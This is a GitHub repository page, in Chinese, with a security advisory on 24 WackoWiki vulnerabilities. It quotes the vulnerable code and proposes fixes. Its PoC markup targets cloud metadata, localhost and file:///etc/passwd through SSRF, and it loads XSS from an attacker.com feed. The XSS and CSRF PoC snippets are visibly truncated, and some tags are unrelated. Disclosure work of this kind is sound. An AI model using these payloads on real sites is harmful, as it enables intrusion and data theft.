Kimdir01/wackowiki-multi-vuln-cve

GitHub: Kimdir01/wackowiki-multi-vuln-cve

针对 PHP Wiki CMS 系统 WackoWiki 的安全审计 PoC 报告,详细披露并分析了 SSRF、存储型 XSS、反序列化等 24 个漏洞及其修复方案。

Stars: 0 | Forks: 0

# GitHub 安全公告:WackoWiki — SSRF、存储型 XSS、反序列化身份验证绕过、CSRF ## 公告信息 | 字段 | 值 | |-------|-------| | **严重程度** | Critical / High | | **CWE** | CWE-918 (SSRF) / CWE-79 (XSS) / CWE-502 (Deserialization) / CWE-352 (CSRF) | | **CVSS v3.1** | 9.1 (SSRF) / 8.8 (Stored XSS) / 8.1 (Deserialization) | | **CVSS Vector** | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | ## 概述 WackoWiki (PHP wiki CMS) 包含 24 个漏洞:(1) 通过 SimplePie feed action 导致的 Critical SSRF,可访问云元数据;(2) 通过未经审查的外部 feed 内容导致的存储型 XSS;(3) 在 session/cache 处理中通过 `unserialize()` 导致的 PHP Object Injection;(4) 12+ 个 handler 缺乏 CSRF 保护;(5) Email header 注入;(6) XML 导入中的 XXE。 ## 漏洞详情 ### 受影响的 Package/Repository - **Repository:** `WackoWiki/wackowiki` - **受影响版本:** Current - **已修复版本:** N/A (0-day) **Commit Hash (已审计):** `c4bef453a04638344516fcaa5af29327979c4154` ## CVE-REQUEST-001:通过 Feed Action 导致的 SSRF (CVSS 9.1) **文件:** `src/action/feed.php`,第 64、83-86 行 ``` $urlset = explode('|', $url); // $url from wiki markup {{feed url="..."}} $feed = new SimplePie(); $feed->set_feed_url($urlset); // Attacker-controlled URL $feed->enable_cache(false); $feed->init(); // Fetch from ANY URL ``` 任何拥有页面编辑权限的用户都可以使用 `{{feed url="http://169.254.169.254/latest/meta-data/"}}` 让服务器获取任意 URL。SimplePie 会跟随重定向并支持多种协议。管道符分隔的 URL 支持多 endpoint 探测。 **PoC (wiki markup):** ``` {{feed url="http://169.254.169.254/latest/meta-data/"}} {{feed url="http://localhost:8080/admin"}} {{feed url="file:///etc/passwd"}} {{feed url="http://internal1|http://internal2|http://internal3"}} ``` ## CVE-REQUEST-002:通过外部 Feed 内容导致的存储型 XSS (CVSS 8.6) **文件:** `src/action/feed.php`,第 230-231 行 ``` $tpl->content = $images ? $item->get_content() // RAW HTML — NO SANITIZATION : $item_content($item->get_content()); // Only strips tags ``` 当 `$images=1`(默认值)时,原始的 RSS/Atom feed 内容在输出时没有任何清理。当 `$images=0` 时,只会移除 `` 标签 —— `]]> ``` Wiki markup:`{{feed url="https://attacker.com/evil.xml"}}` ## CVE-REQUEST-003:通过反序列化导致的 PHP Object Injection (CVSS 8.1) **文件:** `src/class/ut.php`,第 370-377 行 ``` static function unserialize($text) { return (substr($text, 1, 1) === ':' && ctype_lower($text[0])) ? unserialize($text) // UNSAFE — no allowed_classes restriction! : json_decode($text, true); } ``` **调用者(8+ 个位置):** - `class/session.php:176` — 来自存储的 session 数据 - `class/settings.php:25` — 设置缓存 - `class/dbal.php:225` — SQL 缓存 - `admin/common/database.php:207` — 备份日志 - `admin/module/db_restore.php:178,546` — 恢复 门控检查 (`substr($text, 1, 1) === ':'`) 极易被绕过 —— 任何标准的 PHP 序列化数组 (`a:...`) 或对象 (`O:...`) 都可以通行。如果攻击者能够写入 cache 文件、session 存储或备份文件,就可以通过 POP gadgets 触发任意代码执行。 ## CVE-REQUEST-004:所有 12+ 个 Handler 均无 CSRF 保护 (CVSS 8.8) **受影响的 Handler(无 CSRF token 验证):** - 登录、注册、用户设置、更改密码 - 页面编辑、创建、重命名、删除、清除、克隆 - 页面权限、添加评论 只有 `admin/admin.php:38` 具有 CSRF 保护。所有面向用户的 handler 均未受保护。 **PoC (CSRF 页面删除):** ```
``` ## 其他发现(共 24 项): | # | 漏洞 | CVSS | 类型 | |---|--------------|------|------| | V-2 | 通过系统消息导致的存储型 XSS | 8.8 | XSS | | V-6 | 通过配置生成导致的 PHP code 注入 | 8.0 | RCE | | V-7 | 安装程序中通过 set_language() 导致的 LFI | 7.5 | LFI | | V-8 | massemail 中的 Email header 注入 | 7.5 | Header Injection | | V-9 | 通过未转义的 URL 导致的 Embed action XSS | 7.6 | XSS | | V-10 | include action 中的正则表达式注入 (ReDoS) | 5.3 | DoS | | V-11 | IDOR — 任何用户均可声明页面归属 | 5.4 | IDOR | | V-12 | 用户/组名中的存储型 XSS | 5.4 | XSS | | V-14 | 通过 XML 导入导致的 XXE | 5.5 | XXE | | V-15 | 文件上传双扩展名绕过 | 4.9 | File Upload | | V-17 | 配置权限验证 bug | 4.3 | Logic Error | | V-18 | 弱 session ID 生成 | 4.2 | Weak Random | ## 影响 - 通过 SSRF 实现**云元数据访问** (AWS、GCP、Azure IMDS) - 通过管道符分隔的 URL 探测进行**内网扫描** - 通过影响所有 wiki 访问者的存储型 XSS 实现**session 劫持** - 如果攻击者写入 cache/session 存储中,可通过 **POP 链实现 RCE** - 通过所有 handler 的 CSRF 实现**完全接管 wiki** - 通过 massemail 中的 header 注入实现**电子邮件垃圾邮件/钓鱼** ## 补丁 / 修复 1. 为 feed action 添加 URL 白名单或屏蔽私有 IP 2. 对所有 feed 内容进行 HTML 转义 (`htmlspecialchars($item->get_content())`) 3. 在所有 `unserialize()` 调用中添加 `['allowed_classes' => false]` 4. 为所有 POST handler 添加 CSRF token 验证 5. 在 massemail 中对电子邮件主题进行 CRLF 清理 6. 文件上传使用 `basename()` + 扩展名白名单 7. 修复配置权限验证逻辑 ## 披露时间线 - **2026-06-28:** Fatullayev Asadbek (Kimdir01) 发现了全部 24 个漏洞 - **TBD:** 报告给 WackoWiki 维护者 - **TBD:** 通过 GitHub 请求 CVE - **TBD:** 发布公告 ## 致谢 - 发现者:Fatullayev Asadbek | GitHub:Kimdir01 - 独立安全研究员 ## 参考 - CWE-918:Server-Side Request Forgery (SSRF) - CWE-79:Cross-Site Scripting - CWE-502:Deserialization of Untrusted Data - CWE-352:Cross-Site Request Forgery
标签:CISA项目, CSRF, Maven, SQL查询, SSRF, Web安全, XSS, 多线程, 漏洞情报, 漏洞验证, 蓝队分析